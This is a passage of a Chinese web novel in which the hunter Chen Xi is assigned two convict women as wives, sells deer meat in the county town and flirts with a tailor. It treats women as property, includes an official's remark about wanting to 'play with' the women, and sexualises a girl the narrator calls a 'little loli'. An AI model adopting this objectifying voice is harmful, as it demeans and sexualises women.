官兵身后还用镣铐拴着两名女子。
两名女子披头散发,模样看不真切,不过身材却很是高挑。
虽穿着单薄麻布衣,但从走路姿态来看,定是良好家庭熏陶出来的。
张保全见陈息推开房间,顿时喜笑颜开,和昨晚那高高在上姿态,完全像是换了个人。
“陈猎户,这两位大人是送亲队刘大人和李大人,还不快快出门迎接。”
陈息轻哼一声,动作很快嘛,看来已经准备好坑我三份人头税了。
虽看不起这些人,但嘴中依然表现的客气,暂时还惹不起这些官兵。
“原来是刘大人和李大人,快快屋里请。”
陈息说的客气,但两人见陈息破败的房子,眯着眼探头向屋里扫了一眼,嘴角露出嫌弃。
家里都穷成啥样了,看来也没什么油水。
“不必了,赶紧过来登记牙籍,把这两个婆娘领走。”
陈息上前画押,手掌抹了些墨水摁在牙籍册上。
“行了回去吧,记得下个月交四份人头税。”
那位李大人拿出钥匙,打开两女子镣铐,大手上前一推。
两女子一个踉跄,险些跌倒在地。
见两位大人要走,张保全顿时上前谄媚道:
“刘大人李大人莫急,县老爷马上过寿,正好陈猎户昨天猎到一只狍子。”
“大人何不要来送给老爷?嘿嘿嘿...”
张保全脸上肥肉抖动搓着双手,态度极尽谄媚。
刘大人闻言先是眼睛一亮,随后一摆手:
“陈猎户都穷成什么样了,怎么好意思要。”
“县里狍子肉5文一斤,本大人可怜你,给你10文一斤卖给我可好?”
还没等陈息答话,张保全立即吩咐王麻子:
“麻子你快去屋里把狍子给刘大人扛出来。”
“好嘞。”
王麻子想进屋,却被陈息拦在门口。
“刘大人您有所不知啊,那狍子已经被小的腌成肉块,留给小的娘子补身子。”
“小的娘子身体不好,急需肉食治病啊。”
王麻子想要拆穿陈息,你娘子身体不好?
身体不好还能天天挖野菜,糊弄鬼呢?
却被陈息冷冷眼神定住,毕竟昨天那顿揍实在是把他打怕了。
裤裆里更甚,肿胀一圈,疼了一宿。
刘保全见王麻子不敢动弹,呸了他一声,心里恨铁不成钢。
一个陈二傻子就把你吓成那德行,还得我亲自来,随即要进屋拿狍子。
“行了,既然腌成腊肉本大人就不要了。”
然后轻咳了两声,接着道:
“你叫陈息是吧,好,本大人记住你了。”
“两个婆娘是你的了,府里臜婆验过身子,原装货。”
“对了,本大人要提醒你一句。”
“人饿死了我不管,税钱你也得交,但要是卖了......
“你也去死吧。”
撂下一句狠话,刘大人和李大人瞪了一眼陈息,转身就走。
“哎哟刘大人李大人,到小的家中吃完饭再走嘛......”
张保全和王麻子赶紧跟上。
待人都走远,樊妍才敢出屋将两个女子接到屋里来。
樊妍帮两女子捋了捋头发,还没等陈息看清模样。
两女子见陈息目光扫来,突然跪地,哆嗦着身子一边磕头一边哭泣:
“夫君不要吃我,我识字,我还会......还会算账...”
“求求你,求求你,我......我会做女红...我还会干活......不要...不要吃我们...”
陈息一捂额头,神情无奈至极。
这都哪跟哪啊,咋就吃你们了?
第一卷 第9章 萝莉、御姐、全来啦
陈息被二女这一举动搞的哭笑不得,谁说我要吃人了?
二女则是连连磕头,嘴里求着陈息不要吃自己,哭的悲悲戚戚。
“快起身吧。”
陈息有些无奈,这两个女人是咋回事?
脑袋中一个大大的问号。
樊妍想扶起二女,但俩人就是不起身,生怕起来后陈息会吃了自己。
“不起身是吧?”
“好!”
“我现在去烧水,午饭吃一个,晚饭再吃一个。”
樊妍一听陈息这话,忍俊不禁差点笑出声来。
要说吓唬小姑娘,陈息还真有一套。
果然,不出樊妍所料,二女闻言立即爬起身子,望向陈息的眼神可怜巴巴。
二女起身,陈息这才看清两人相貌。
个子高一些的女孩身材瘦弱,长相清秀漂亮,左眼下方有一颗泪痣。
如果樊妍的颜值是90分,那么此女绝不会低于90分。
和这个年代女人不同的是,她皮肤很是白皙,显然没干过糙活。
虽然此刻可怜巴巴的,但浑身透着一股干练劲,有些后世御姐的味道。
再看个子稍矮点的女孩,身材很匀称,尤其胸前那道事业线,甚是可观。
顺着事业线再往上看,白皙的脖子,漂亮的下巴,红红的小嘴,小巧的鼻子......
最后一双水汪汪的大眼睛,泪水打湿睫毛不敢去擦,眨了两下,煞是可爱。
一个形容词立即浮现在陈息脑海。
小萝莉!
啧啧啧!
小萝莉见陈息打量自己,小脚立即往后挪了挪,把御姐让在身前。
午饭你先吃御姐,我......我......我多活一会儿是一会儿。
被小萝莉小动作逗的忍俊不禁,陈息噗呲一下笑出声来。
刚才装的凶神恶煞样子,瞬间破防。
假装咳嗽两声掩饰尴尬,有些好笑的看着小萝莉,想要逗逗她:
“你叫什么名字呀?”
听见陈息问自己话,小萝莉低着头躲到御姐身后,不敢应声。
先吃她,先吃她。
御姐不明所以,人家问你话呢,咋还往我身后藏。
她知道小萝莉害怕,但自己也害怕呀,自己比她大一岁,内心还是有些保护欲的。
强撑着站出来磕磕巴巴道:
“那个......那个我叫秦瑶,她......”
秦瑶小手伸向后面,掐了掐小萝莉示意她答话。
但小萝莉就是不出声,将小脸埋在秦瑶身后,跟傻狍子扎雪堆里一个怂样。
见小萝莉不答话,秦瑶壮着胆子道:
“她叫白蓉蓉。”
说罢,低着头不敢看陈息,等待发落。
陈息挠了挠头,自己有那么可怕吗?
我怎么没感觉到。
扭头和樊妍对视,挑了两下眉毛,那意思是询问樊妍,我有这么可怕吗?
樊妍见陈息那蠢样子,心中有些好笑。
你吓不吓人自己不知道?
刚才装怒的样子,确实挺让两个小姑娘害怕的。
樊妍上前拉住陈息大手:
“夫君你不是要去县里嘛,早些去早些回,家中有我呢。”
小手往前推了推,示意陈息安心,这两个小姑娘怕你,我来安抚她俩。
樊妍表现的大度,一切都在为陈息着想。
但陈息却是心思敏锐的观察到樊妍眼角一丝复杂之色。
要说樊妍不在意,那是不可能的。
虽说这个古代社会男人有三妻四妾是正常现象。
但不代表所有女人都能自然接受。
刚刚樊妍眼中复杂之色一闪而过。
虽然被她掩饰的极好,但这种猜忌如果不及时处理,将来定会是个大麻烦。
陈息可不想后院起火,该确定的关系一定要提前确定。
趁樊妍不备,搂过樊妍脑袋吧嗒一声,当着两个小姑娘面一口亲在嘴上。
陶醉的舔了舔嘴唇:
“娘子在家等着我,晚上给你惊喜。”
樊妍被亲的突然,俏脸立即红了起来。
陈息这一骚操作,被秦瑶看得真真切切,白蓉蓉半真半切。
为啥半真半切呢?
因为她躲在秦瑶后面,只一只眼偷偷瞄着。
小姑娘哪里经历过这些,秦瑶和白蓉蓉脸红的比樊妍更甚。
这夫君绝对是变态吃人恶魔。
对,绝对是。
“你们两个听好了,在外人面前你们可以是我陈息妻子。”
陈息说到一半,话语故意顿了顿,观察一下二女表情变化。
见二女立即像犯了错的小孩子般,低着头站在那里,一动不敢动。
“但是,在家中一切要听我娘子吩咐,而且,我并不承认你们俩是我妻子。”
陈息话音出口,在场三女同时一愣。
“夫君......”
樊妍想要说什么,却被陈息打断。
“你们两个给我听好了,表现的好了有饭吃,表现的不好...呵呵...”
陈息指了指家里那口锅,语气威胁道:
“你们两个就是饭!”
陈息说到这里突然语气拔高,以一种命令口吻:
“记住了吗?”
二女被吓了一跳,双脚不自觉的向后挪了一下,连忙小声回答陈息:
“记...记住了”
陈息见二女怕了,自己也不能玩的太过火,吓唬吓唬得了。
向樊妍递了一个嘚瑟的眼神,樊妍被陈息弄的心里说不上来是什么滋味。
一来害怕陈息吓到了二女,二来陈息并不承认她们是夫君的妻子。
看似是吓唬二女,实则是给自己确立了家庭地位。
“夫君......”
樊妍想明白了陈息为何要这样做,一股暖流流遍全身。
身子贴在陈息怀里,泪水滑落下来。
她并不排斥陈息多几房妻子,只是自己还没和夫君圆房,现在又来了两个女人。
这......这种情绪说不清道不明的。
不过陈息这种处理方式,被樊妍真真切切感动到。
无论夫君今后有多少妻子,我都是和夫君最亲近的那一个。
樊妍很感动,一时竟赖在陈息怀里忘记离开。
“娘子别抱啦,夫君该走啦。”
“呀......”
樊妍刚才一时感动,竟忘了家里还有别人。
连忙脱离陈息怀抱,羞的俏脸通红。
陈息再次向二女强调一下,家中一切都要听樊妍,随即转身出门。
既然都是苦命人,相识了便是缘分,当两人是个长工吧。
还是穿着早上那身草衣,下身围着狍子皮。
扛着狍子肉一路小跑去县城。
没办法啊,没衣服穿,小跑起来身子暖和。
窝窝村离县城不远不近,以陈息的速度一个半时辰就到。
亏了有这副好体格,不然来往一次,回家都得半夜。
大雪突来,百姓勤劳,此时已经将通往县城的山路清扫干净。
县城,可是附近村子百姓卖点山货的好地方。
县里的贵人们喜欢吃些山珍,松子、坚果、蘑菇...
村民们都拿到县里换成粮食或者过冬衣物。
虽说战乱饥荒年,但县里依然是附近百姓山货倾销地,重要经济枢纽。
早晨时分,山路上已经有扛着各种货物前往县里售卖的村民。
有牲畜的家庭驾着牛车,没牲畜的家庭全靠人力搬运。
陈息则更潇洒了。
上身草帘子衣,下身围着狍子皮,扛着五十多斤狍子肉,跑的比牛车还快。
路上村民都傻了。
这是啥牲口?嗖一下就过去了?
待到回过神时,陈息已经跑出老远。
“呼——”
“呼——”
“呼——”
陈息从开始的小跑,到后来的一路狂奔,只经历了一个心理过程。
那就是早点回家干活。
家里只有娘子一张床,那两个婆娘睡在哪里呢。
唉,想想就头疼。
原本一个半时辰的路程,硬生生被陈息缩短半个时辰。
陈息一路小跑进了城。
看城门的衙役被吓了一跳。
哪里来的......人?
好像是人。
但还不咋确定。
因为陈息这一身行头太过另类,县里路人看到他都啧啧称奇。
“好小伙子!”
“这体格不去犁二亩地都白瞎了。”
陈息不理会路人窃窃私语,一边走,一边看。
这是他,包括傻子前身,第一次到县里。
看到啥都感到新奇。
仔细观看一下路人,外来的人都是一脸菜色。
县里的本地人相对好一些。但也强不了太多。
县里的贵人们没有早起的,街上都是些讨生活的穷人。
由此可见大御朝连年征战,对百姓们的伤害有多大。
而这仅仅一个县,便是整个大御的缩影。
就在陈息一路摇摇逛逛,路过一间牙行时,里面传出一道大嗓门的问话声。
“咦?昨天送来那俩犯妇呢?”
紧接着又是一道谄媚声:
“哈哈,大人您还不知道,今早被刘大人、李大人带去窝窝村了。”
“听说那村出了个猎户,早早就把人带走了。”
大嗓门声音顿了一顿,再次传来:
“踏马的,咋就这么巧,老子还打算晚上玩玩这俩骚货呢。”
“大人您莫怪,刘大人李大人临行前说了,那猎户也养活不了这俩犯妇,用不多久还能把人送回来。”
“踏马的,送回来还能是黄花大闺女么,呸!真踏马扫兴!”
“大人莫气,大人莫气,赶快进屋喝口热茶暖暖身子......”
陈息听完俩人对话,眼睛眯成一道细线。
犯妇?
还踏马要玩我的婆娘?
说我养不活,过几天再送回来?
这其中肯定有猫腻。
好,这几人我记下了,刘大人、李大人、还有那个张保全。
小爷倒要看看你们在耍什么花样。
第一卷 第10章 咋滴?谁还要送我两个婆娘?
陈息在门口站了足足一刻钟,牙行内始终安静,想必那个大嗓门进了内屋。
想要多听点线索是不可能了,还是先办正事吧。
至于他们的对话,陈息可是记在了心里。
刘大人、李大人、张保全、还有那个大嗓门。
这四人,已经上了陈息的黑名单。
想惹我,先掂量掂量自己的斤两吧,到时候可别玩脱了。
陈息心中已然有了戒备,看来今后行事一定要稳健一些。
不然可就要吃大亏。
平复一下心情,陈息沿着街道继续向前行去。
沿着县城走了一圈,一来是熟悉一下地形,二来是了解一下县内布局。
以后这县里少不了经常来,先熟悉熟悉路线。
选了家最大的收山货铺子,山宝堂,名字到是切合。
迈步径直就走了进去。
陈息一身草衣,下身围着狍子皮,肩上扛着狍子肉。
有小伙计见陈息这副行头,先是愣了一下,随即笑嘻嘻凑到陈息面前打招呼。
小伙计明知故问道:
“客官里面请,您是来卖山货?”
“对。”
小伙计把陈息让到内屋,倒上一碗茶水,笑脸相迎。
陈息心想,这是看到我扛狍子来了,不然自己这副行头,指定得把自己轰出来。
将狍子丢在桌上,大大咧咧坐在椅子上,端起茶水一饮而尽。
跑了一个时辰山路,确实有些口渴。
“客官慢点喝,这里还有。”
小伙计将茶水续上,一脸期待的看着陈息。
别的伙计见陈息扛着大狍子,都眼巴巴的看着。
奈何已经有了小伙计接待,不然自己也要上前讨好一番。
能猎到狍子的猎户可是好久没见了。
要知道现在兵荒马乱,有经验的猎户都被征召到了前线。
铺子里可好久没收到这种稀罕物了。
陈息一连喝了三碗茶水,呸的一声吐出一口茶叶沫子。
小伙计见状也不生气,就在边上候着。
陈息瞥了小伙计一眼,装模作样道:
“狍子肉收不收啊?”
“收收收!”
小伙计一听陈息直奔主题,顿时眉开眼笑,这种稀罕山货可是深得贵人们喜爱。
纯纯的野味啊,瞧瞧这大狍子,少说也得有五六十斤。
伙计眼珠子一转,用手摸着狍子肉谄媚一笑道:
“这大狍子真壮实,不知客官在哪里猎的呀?”
陈息再次瞥了小伙计一眼,能不壮实么,老子为了追它差点没累死。
不过这小伙计和自己玩这套小把戏。
还是太嫩了啊。
“这狍子自己跑到我家偷东西吃,被我打死的。”
伙计闻言讪讪一笑,心知碰见行家了。
原本见陈息一身装扮奇葩,想套点话出来。
没想到自己这点小伎俩被拆穿了,尴尬的挠挠头,想要再次搭话却被一道声音打断。
“你去接待其他客人吧,这位客官我来接待。”
一个穿着灰袍的中年人,不知何时从门后走了出来,看打扮应该是管事的。
“是是是,掌柜的,您来!”
掌柜的在门口偷听了两人对话,见陈息知道猎户规矩,货不露白。
内行!
又见伙计没套出话来,生怕得罪了贵客,
掌柜的常年收山货,岂能看不出这狍子浑身上下就脖口处一道血槽。
细细一看,骨是骨,肉是肉,只是筋不见了。
那还用问么,下手稳准狠,这是老猎户中的佼佼者,不然手法绝对没这么利索。
而且那狍子筋,可是下猎套的好材料。
掌柜的一眼看出端倪,给陈息换了新茶,亲自斟了半碗,语气十分客气:
“小伙计不懂规矩,客官您见笑了。”
“这是今岁的新茶,客官您尝尝。”
陈息知道正主来了,端起茶碗抿了一口,十分自然道:
“茶很不错,掌柜的太客气了。”
“哈哈,合客官口味就好,这狍子...客官想什么价出啊?”
开门见山,这掌柜的挺爽快的,有点投脾气。
“常价!”
陈息在试探对方,他知道现在这东西可是稀缺,根本不是常价能拿的。
至于常价是多少,陈息心里并没有概念。
早上两位送亲队的刘大人、李大人曾说,要10文一斤买陈息手里的狍子。
并说常价是5文,两人还是可怜陈息,出了10文。
这个数字陈息是不认可的,这个年代的粟米都达到了3文一斤。
肉食5文?打死他都不信。
记得那两位大人看自己的眼神,分明像看一只待宰的肥羊。
心里想着,怎么着也能卖个15文,掌柜的要是以10文收,自己则找个借口不卖了。
换一家再试试运气,反正县里有好几家收山货的铺子。
掌柜的见陈息神态自若,语气十分自然,知道对方是在试探自己。
小伙子倒是挺聪明的,掌柜的突地哈哈一笑:
“前些年还未打仗时,这东西20文一斤。”
“可近几年朝廷连年征战,老猎户都被征召到军中,这种野味倒是不多见了。”
闻言,陈息心里一咯噔。
15文?自己还是太保守了啊。
心里对刘大人和李大人再度恨上几分,欺负老实人是吧?
好,这笔账我记下了,有账不怕算。
掌柜的说完,悠悠叹息一声,神情有些恍惚,似乎看到了以前那些关系好的老猎户。
也不知此生,还能不能再见到老几位了。
“唉!”
掌柜的摇了摇头,似在缅怀!
陈息则是饶有兴致,看不出这掌柜的还挺性情的。
或许是到了这个岁数,更珍惜一些老伙伴吧。
片刻后,掌柜的开口正色道:
“客官若是以常价卖,那么我便不收了!”
陈息听出他话里有话,常价不收,什么价收?
顿时对这位掌柜的兴趣更浓:
“掌柜的有话请直说。”
“哈哈,这位客官小友,如若我刚才答应以常价收,那么小友便找个借口离去了吧?”
陈息同样哈哈一笑,有点意思,就是这个味。
“小子陈息,不知掌柜的......”
“老拙关长青,以前那些老猎户们都叫我老关,小友可延续下来,叫我老关便是!”
“老关出个价,东西你的了!”
关长青爽快,陈息更加爽快。
投脾气,对味,哪里有那么多弯弯绕。
“40文一斤!”
“称!”
“80斤!”
“成交!”
旁边几个小伙计把这一老一小的对话都听在耳朵里。
听完全部傻眼了。
这...这世道变的这么快吗?
掌柜的今天这是怎么了?
直接就给出40文的高价。
狍子都不称重,直接就给80斤?
那狍子怎么算也算不到80斤啊,这是......
“哈哈哈!”
“哈哈哈!”
陈息与老关对视爽朗一笑,都从彼此眼里看出点东西出来。
一切尽在不言中。
陈息有了一个销路,老关多了一个老主顾。
男人间做生意,有时也挺简单的。
到柜台取了三串钱,外加200文。
这个年代一串钱等于一千文,也等于一两银子。
大御朝银矿很少,一般的小型交易多以铜钱结算。
只有大型交易才用得上银两,很多百姓一生中都没见过银子。
陈息拿在手里掂量几下,满意一笑:
“老关,再见了!”
“小友慢走!”
陈息走出铺子,最开始接待陈息那个小伙计立即小跑到老关身前。
“掌柜的,您今天这是怎么了?”
“那小子虽说有点本事,但也不至于......”
老关白了小伙计一眼,看向桌上那只狍子:
“这手法,这品质,大雪封山的,还能弄出这么好的货。”
“你想想,没点本事,谁能做的出来?”
小伙计还是一知半解,脑袋晕晕的。
不得不承认他是有点本事,但也不至于咱花那么大价钱收啊。
见小伙计还是不懂,老关先是无奈的摇摇头,叹了一口气语重心长道:
“你记住,和这种人做生意,不要在乎那点蝇头小利。”
“铺子里一头这种品质的山货能获多少利,你还不清楚么?”
小伙计听完愣了半晌,随即如梦初醒。
原来掌柜的是这么算的啊,一拍大腿,我怎么没想到?
以前的确是20文一斤,现在别说这种品质了,就算是再低一些的品质,也能卖个高价。
掌柜的经常说物以稀为贵,那些贵人们不在乎钱,在乎的是稀缺。
小伙计被训得服服帖帖,高人点拨一句,胜过苦修十年。
“好好学着吧,等我老了,你得撑起这个铺子喽。”
老关再次叹息一声,转身回屋。
小伙计把掌柜的送回屋,突然想到了什么。
急忙来到柜台前,拿起一盒贵人送的糕点追出门去。
这糕点是小伙计给县里贵人们送货,因为嘴甜讨得贵人欢心,赏了他一盒糕点。
他舍不得吃,想带回家给老母亲尝尝贵人们才吃的糕点。
不过现在他想通了,能和陈息这种猎户交个朋友,一盒糕点不值一提。
何况自己今天还唐突了他。
“陈猎户...陈猎户...等等...”
小伙计忙不迭的追出去,一边跑一边喊。
陈息正在寻成衣铺子给娘子买新袄,突然后面听见有人喊陈猎户。
陈猎户这个称呼他可太熟悉了,张保全曾说自己是个猎户。
因此还多了两个婆娘。
一想到此,回头咧嘴一笑:
“咋滴?谁还要送我两个婆娘?”
第一卷 第11章 上门取件
陈息一看是小伙计抱个盒子追来,一时不明所以,这小伙计追自己干嘛?
“陈猎户...陈猎户......呼呼...”
陈息见他追的急,赶紧捂好刚才卖货得来的铜钱,眉毛一挑:
“什么事?”
这小子急急忙忙的,从进门就想套我话,现在抱个盒子来追我,肯定不怀好意。
小伙计跑到陈息身前,侧过身去大喘了几口,调整好呼吸。
转过身来,又见陈息双手捂着钱袋子,看向自己的眼神不善。
小伙子知道陈息误会了,连忙换上一副讨好笑容:
“陈猎户,刚才是小的不懂规矩,还请陈猎户海涵。”
陈息狐疑的看了小伙计一眼,就这点事值得你特意追来道歉?
心中警惕,随口敷衍了一句:
“没关系,我都没放在心上。”
陈息这句是实话,他确实没放在心上,虽说自己日子艰难一些,但也是暂时的。
一个小伙计的唐突,并不能令他在意。
凭自己超越这个时代的理念,一身超凡的本事,发家致富只是个时间问题。
见陈息这句回答,小伙计苦笑一声,看来自己确实给陈猎户留下了不好印象。
双手捧起糕点盒,弯腰向前双手递了出去:
“陈猎户,刚才是小的不对,这是小的一点心意,望陈猎户原谅。”
小伙计态度十分诚恳,令陈息高看他一眼,没想到小伙计还挺会办事的。
盒子里装的什么不重要,知错能改,有这份态度就够了。
别说陈息现在怀里有钱,就算是没钱,也不可能要小伙计东西。
虽说小伙计穿得整齐,但也都是些洗得发白的麻袄,同是社会底层罢了。
“好,有这份心意就足够了,好意心领,东西我就不收了。”
陈息点头微笑回应,表示认可小伙计的态度。
小伙子见陈息不收礼物,立即拿出对待县里贵人们的讨好手段,开始郑重说道:
“陈大哥,咱们的误会解除了,但这礼物并不是送给您的。”
陈息挑了挑眉毛,不是送给我的?那是送给谁的?
心里对这个小伙计来了点兴致,不打断他,想听这小子究竟玩什么花样。
“嘿嘿,小的斗胆高攀,这盒桂香坊的糕点请陈大哥带回去给夫人们尝尝鲜。”
陈息一听这话,兴致更浓了几分,小伙计不光会办事,更会说话。
但光这些还不够,我还得考考他。
“哦?你是怎么知道我有夫人的?”
小伙计一听这话,知道陈息是在考验自己,顿时得意的眉开眼笑:
“嘿嘿陈大哥,猎户牙籍可是有三房妻子呢,这是小弟送给嫂嫂们的见面礼,嫂嫂们若吃得惯,陈大哥随时吩咐小的。”
小伙计没把话说满,只说了随时吩咐小的,这就是他的高明之处。
是吩咐他去买,还是吩咐他去送,谁来出钱,这些统统没说。
即便是这样,这话也说得漂亮。
陈息哪里会不知他这小伎俩,说出的话让人挑不出毛病,确实有点那个味道了。
这小子倒是个可造之材!
小伙计机灵,等自己好起来了,倒是可以栽培一下。
“好,既然小兄弟都这么说了,那我便替你嫂嫂谢谢了。”
见陈息接了礼物,小伙计嘿嘿一笑:
“陈大哥,小的家中排行第五,大哥以后管我叫小五就行。”
小五自报家门,关系又近了一层。
陈息心想,小五还这名字倒是挺顺溜,就不像自己这么尬了,陈小二?陈二傻子?呸!
管自己叫陈大哥就是了。
“好的小五,下次来卖山货还找你。”
陈息撂下一句承诺,转身想走却被小五拦住。
“嘿嘿,您下次再猎到好东西,小五去取,不用麻烦陈大哥亲自跑一趟。”
“陈大哥告我家住何处便是,省得陈大哥来回奔波,家中嫂嫂们担心。”
哟,是块做生意的料,陈息愈发地欣赏这个小五,在后世这叫上门取件。
有超脱这个时代的经商思维,这样才能把客户牢牢锁定,不会被其他同行抢走。
陈息在心里盘算了一下,按照山中猎物密集程度和对自己手艺的自信,做出了决定。
点了点头,随后淡淡一笑,伸出了三根手指:
“三天后,你到窝窝村打听一下陈二......陈大哥就行!”
陈息差点说秃噜嘴了,直接叫大号显得咱没面子,小名叫陈二傻子,那更没面子了。
自己好歹是个猎户,哪能要这外号,憋了一下改口为陈大哥!
村里就自己一家姓陈的,怎么都能打听到。
“好嘞好嘞陈大哥,小弟三天后准到。”
联系成了一笔生意,小五高兴坏了,掌柜的要是知道自己这么会办事,一定会很开心的。
“对了小五,知道县里哪家卖冬衣么?”
“要质量最好的,暖暖的袄。”
小五一听陈息要买袄,顿时眼睛一亮,这可是巴结的好机会,开始滔滔不绝起来:
“陈大哥你问小弟算是问对人了,这县里谁家的货好,小弟可是门清。”
“大哥看见前面那家成衣铺子了么......”
陈息顺着小五指的方向看去,果真有一家大的二层铺子,外表装潢很是考究。
饥荒战乱年,能有这么一家二层的铺子,老板一定是有点门道的。
要么和府衙有关系,要么是货真价实,总之是有实力的。
“好,就是他家了。”
小五见陈息误会了,连忙拦住解释道:
“陈大哥您误会了,小弟说的不是这间铺子,是这间铺子后面胡同里的另一间。”
陈息皱了皱眉,再次看向那间二层铺子,如此好的位置,如此好的装潢。
在它后面胡同里还有一间成衣铺?
那生意能好么?
以陈息的做生意理念,立即察出一丝不寻常。
小五接着道:
“陈大哥,您就去胡同里那间,就说是山宝堂小五推荐来的,掌柜的还能给您实惠价。”
“好,我知道了,你回去吧。”
陈息不想在县里耽搁太久时间,昨晚下的猎套鱼篓还没收,家里又新来两个婆娘。
一堆事在等着自己处理。
“好嘞陈大哥,您去忙,小弟先回铺子了,一会掌柜的该着急了。”
“嗯,去吧。”
小五回铺子了,陈息怀中有钱,心里有底气,大踏步向着那间二层成衣铺走去。
路过门口时,抬头看了一眼牌匾。
荣衣坊。
再向里面扫了一眼,货品很是齐全,有不少贵妇带着丫鬟在选衣服。
店铺正中央,虎皮、豹皮、熊皮、白狐皮、挂得满满一排。
那些皮草毛色油亮度一般,但胜在珍稀。
陈息站在外面仔细看了看,最后撇了撇嘴。
工艺也就那么回事吧,要是自己做,肯定比它好看十几倍。
看出了问题之后不再停留,转身进了胡同。
没走多远,前面一间矮铺子映入眼帘。
荣依坊。
陈息皱了皱眉,回头又看了看那间二层铺子,不光距离这么近,就连名字都这么像么?
第一卷 第12章 在下卖艺不卖身
这生意做得倒是有趣,也不知这间荣依坊能不能做起来。
一推门,陈息迈步就进。
铺子大小还凑合,估摸着也有五六十平米,但和那个豪华的二层铺子自然没法比。
人家随便一间厅子都要比它大。
在看柜台上,一些布料摆放错落有致,墙壁上挂着一些兔皮、獾皮,等小动物皮毛。
不过袄的种类不算多,却很是厚实。
看得出掌柜的不是外行,是以质量取胜,不然店铺开在那间豪华成衣店后面,连口汤都喝不到。
此时铺里没人。
陈息也不着急,看了一圈,不住地点头,做工比前面那间强多了。
就在陈息选衣服时,咯吱一声后门开启,随后进来一个女人。
女人怀里抱着一捆柴,见铺里来了客人,立即将柴放到火炉旁。
来到陈息面前,不好意思地捋了捋头发:
“贵客久等了,小女子刚刚去忙些活计,怠慢了贵客,请多多担待。”
嗯?
女人?
陈息先是错愕一下,随后脑中一个大大的问号。
这个时代的规矩,他还是清楚的。
女人都很传统,尤其是县里,大户人家的女子大门不出二门不迈。
小户人家的女子,也尽量避免抛头露面。
更何况这样一个年岁和自己差不多大的女子。
开铺子?做生意?
陈息仔细打量一下眼前女子,大约二十左右岁,皮肤白皙、五官精致、眉目如画。
穿着一身厚实的花袄,妙曼的身材被遮挡得严严实实,要问他为何如此笃定此女身材妙曼。
谁让她胸前两团撑的花袄高高隆起,很是有料,啧啧啧!
特别是一头乌黑的长发高高盘起,鬓角梳得一丝不苟。
气质干练,英姿飒爽。
若放在后世,随便穿上一套OL职业装,踩上高跟鞋,妥妥的绝色女总裁模板!
陈息略显失神,知道自己一直盯着人家看有些失礼,尴尬挠挠头:
“不急不急,我来选几件袄。”
在陈息打量女子时,女子也在打量陈息,个子很高,身材笔直。
一张俊脸刀砍斧凿般棱角分明,嘴角一抹坏笑,给女子一种痞帅痞帅的感觉。
透过上身草衣,隐约能看见里面健康的小麦色皮肤。
站在那里就有一种独特气质。
咦?
不对。
这么冷的天,他居然穿着一身草衣?
女子狐疑地向下一看,差点乐出声来。
一张大狍子皮被他围在下身,就像女子穿的裙子,下面一双厚厚的草鞋,小脚趾撑出来露在外面。
“噗呲——”
女子看到草鞋实在是没忍住,终于被陈息这身行头搞破防了。
“对不起、对不起。”
女子红着脸低着头,目光不经意间又扫到那双草鞋,赶紧扭过头去,双肩不住地耸动。
陈息顺着女子目光往下看,眼前顿时一黑,来时跑猛了,没注意到草鞋被撑破了。
小脚趾努力地往回缩了缩,却被草鞋卡住了。
怎么缩都缩不回来,倔强的小脚趾就那么晾在外面,很是滑稽。
陈息见小脚趾缩不回来,抿了抿嘴,最终不在这个问题上纠结。
不要在意那些细节,些许风霜罢了!
“咳咳——”
“这件袄怎么卖的?”
陈息指着铺子上叠的板板正正的花袄,正是女子身上穿的同款。
他从进门就看到了,属这件袄最厚实,穿在娘子身上一定很保暖。
“嗯,贵客稍等。”
女子终于忍住笑,见陈息要买袄,立即拿出那件花袄,贴心地在胸前展开,在身上比了比。
“贵客看合不合您夫人的身?”
女子很会做生意,一见他选的花袄,立即会意是给家中夫人选的。
陈息仔细打量,针脚匀称,用料很足,比起嫂嫂穿的那件,不知强了多少倍。
捏了捏袄身,里面絮的棉花整体很厚实,拿在手里掂量几下,很是轻柔。
“不错,大小也合适。”
见陈息一系列动作,女子眼中闪过一丝好奇,一个大男人还挺懂的,知道掂量里面的棉花和针脚。
“加上这棉裤,一套多少钱?”
陈息打量花袄的同时,也选了一件棉裤,用料做工都很满意。
“不知贵客是怎么寻到小铺的?”
“可曾有人推荐?”
陈息见女子不说价钱,还问有没有人推荐,只一瞬间便作答:
“无人推荐,我自己找来的。”
他不想说小五推荐来的,那样就不好意思讲价了,后世有个技能叫杀熟。
自己堂堂穿越者到这个古代社会,这要是被杀熟了,岂不丢人现眼?
想把自己当肥羊宰?
杀熟?
没门。
陈息已经看透她的伎俩,正在为自己的小聪明沾沾自喜。
“贵客说得不实吧?”
女子一脸玩味地看着陈息,本铺子藏得这么隐蔽,你是自己寻来的?
糊弄鬼呢。
陈息闻言一怔,这熟是非杀不可吗?
咋滴?
打死我都不承认,咬死口,爱咋咋地,总之不能把自己当肥羊宰。
“实,我就是自己寻来的。”
女子嘴角微微弯起,看他一副死不承认的样子有些好笑。
将花袄叠得整齐放在货台上,转头一瞬不瞬的盯着陈息脸。
“既然无人推荐,那么不好意思了贵客。”
女子伸出一只白皙小手,手心向上,红唇微张吐出两个字:
“不卖。”
意思很明显,不但不卖你,还示意送客。
陈息被女子这一操作惊掉了下巴,啥?
不卖?
杀不成熟,连货都不卖了。
三个大字瞬间出现在脑海。
黑店!
绝对的黑店!
一个女子,光天化日之下,开黑店!
她若是开黑店,那么小五还将自己推荐来这里。
陈息眯了眯眼,暗道一声人心险恶。
决定试探一番,若真如自己猜想一样,那么小五也有问题。
还是大问题。
“啪——”
将卖狍子的三串钱拍在柜台上,微微低头目光对女子对视,不曾移开。
“开价。”
“不卖。”
女子余光扫了一眼柜台上的三串钱,嘴角再次扬起一抹弧度。
不过送客的手势却是一变,握住拳头伸出一根葱葱玉指向下指了指:
“可以拿它换。”
陈息顺着女子手指向身下看去,顿时一脸坏笑:
“不好意思姑娘,在下卖艺不卖身!”
第一卷 第13章 小女子名叫左千千
对上陈息的一脸坏笑,女子愣了一瞬,看着自己手指的位置,正是陈息裆部。
顿时臊了个大红脸。
有些气恼得跺了跺脚,脸蛋羞得像个红苹果。
谁说要你拿这个东西换了,你理解成啥了嘛。
本小姐还未婚配,竟被一个陌生男子误会,传出去可如何是好。
不过想想自己那根手指,确实是指的那个位置。
女子抿了抿嘴,今天一定要解释清楚,不然到外面传开,自己简直没法做人了。
“你......”
“我...我不是那个意思,我说的你可以用狍子皮换。”
女子一脸幽怨的盯着陈息,本想拆穿他的身份,没成想反倒被他调笑一番,想想就气。
“哦,姑娘你说的是狍子皮啊。”
陈息故意在裆部掸了掸:
“吓我一跳,我还以为是那啥呢。”
“哪啥?”
